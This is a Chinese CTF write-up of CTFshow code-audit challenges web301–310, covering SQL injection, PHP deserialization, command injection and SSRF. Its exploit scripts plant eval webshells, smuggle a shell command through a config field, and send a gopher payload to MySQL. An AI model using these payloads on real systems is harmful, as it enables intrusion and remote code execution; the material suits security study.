CTFshow 代码审计

刷题刷题,浅审了一些代码,记录一下题解

sql部分

web301

审计源码可以发现,checklogin.php存在sql语句,并通过比较两个字符串来进行登录判断

sql语句无过滤,可以构造查询任意结果

userid=-1' union select 2 from sds_user -- &userpwd=2

web302

只有一处修改,在判断条件的地方

if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))

查看该函数的实现

仍然可以构造查询任意结果,只不过此时需要使用该函数进行一次加密

userid=-1' union select 'f977952c679ca39837adaba7778c288b' from sds_user # &userpwd=2

web303

简单审计,发现数据库文件中包含了用户名admin和一串密码的哈希值,使用函数验证后发现也是admin

审计代码,发现注入点

无任何过滤,尝试进行报错注入

发现可行,进行注入即可

注意最后长度有限制,需要多读取一次

' and updatexml(1,concat(0x7e,(select right(flag,20) from sds.sds_fl9g)),1)#

web304

上了全局waf,但是写的比较疏忽

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

看上去没问题,但问题是第一位就匹配到正则函数的返回值是0,而return 0相当于false,等于waf白写…

反序列化部分

web305

审计代码,在checklogin.php发现了反序列化

require 'class.php';
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

查看class.php

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

可以写文件,很明显,直接构造exp

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	/* public function __destruct(){
		file_put_contents($this->username, $this->password);
	} */
}

$a=new user('1.php','<?php eval($_POST[1]);?>');
echo urlencode(serialize($a));

生成payload后在cookie处上传即可,打开数据连接,在数据库中发现flag

web306

入口点换成了login.php,关键代码如下

dao.php

class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
		$this->init();
	}
	private function init(){
		$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
	}
	public function __destruct(){
		$this->conn->close();
	}
}

class.php同上,直接写exp即可

<?php

class dao{
	private $conn;

	public function __construct(){
        $this->conn=new log();
	}

	public function __destruct(){
		$this->conn->close();
	}

}
class log{
	public $title='1.php';
	public $info='<?php eval($_POST[1]);?>';
	
	/* public function close(){
		file_put_contents($this->title, $this->info);
	} */

}

$a=new dao();
echo base64_encode(serialize($a));

web307

本题有命令执行函数,是类dao中的一个方法

class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
		$this->init();
	}
	private function init(){
		$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
	}
	public function __destruct(){
		$this->conn->close();
	}
	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

}

全局搜索该方法,发现在\controller\logout.php中有调用

<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
	$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>

查看config类中无特殊函数,直接写exp即可

<?php
class dao{
	private $config;


	public function __construct(){
		$this->config=new config();
		//$this->init();
	}

	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

}
class config{
	public $cache_dir = ';echo "<?php eval(\$_GET[1]);?>">1.php;';

}

$a= new dao();
echo base64_encode(serialize($a));

注意生成的webshell位置是/controller/1.php

web308

相比上一题这里对命令执行函数做了过滤,但是在fun.php增加了一个curl函数,即可以进行SSRF

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
function sds_waf($str){
	if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
		return false;
	}else{
		return true;
	}
}
function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}
?>

这里要确定一个问题,即利用SSRF去攻击什么?

通过查看源码的配置文件,可知其监听3306端口,是一个无密码的mysql服务

class config{
	private $mysql_username='root';
	private $mysql_password='';
	private $mysql_db='sds';
	private $mysql_port=3306;
	private $mysql_host='localhost';
	public $cache_dir = 'cache';
	public $update_url = 'https://vip.ctf.show/version.txt';
}

选择使用gopherus来攻击

Give MySQL username: root
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php';

Your gopher link is ready to do SSRF : 

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01

将这段payload嵌入exp

<?php
class dao{
	private $config;

	public function __construct(){
		$this->config=new config();
		//$this->init();
	}

	public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

}
class config{

	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01';

}
$a=new dao();
echo base64_encode(serialize($a));

web309

本题mysql有密码,因此需要其他方式的攻击

通过gopher协议的延时可以探测端口是否开放,开放的端口会保持连接,而未开放的端口会直接返回页面结果,经探测后9000端口开放,基本可以确定是fastcgi,继续利用gopherus攻击即可

<?php
class dao{
	private $config;

	public function __construct(){
		$this->config=new config();
		//$this->init();
	}

	public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

}
class config{

	public $update_url = 'gopher://127.0.0.1:9000';

}
$a=new dao();
echo base64_encode(serialize($a));

web310

9000端口仍然开放,但是不能读到flag,猜测需要SSRF攻击内网,尝试读取/etc/hosts

127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.12.85.233   6a77fa5edce0

读取内网arp/proc/net/arp

IP address       HW type     Flags       HW address            Mask     Device
172.12.0.6       0x1         0x2         02:42:ac:0c:00:06     *        eth0

设置update_url参数来访问内网ip地址,没有反应,猜测本地可能存在其他web服务

尝试读取nginx配置文件/etc/nginx/nginx.conf,直接利用file协议

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
        server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

根据nginx.conf,发现存在另一个web服务,访问其端口,获得flag

上一篇
下一篇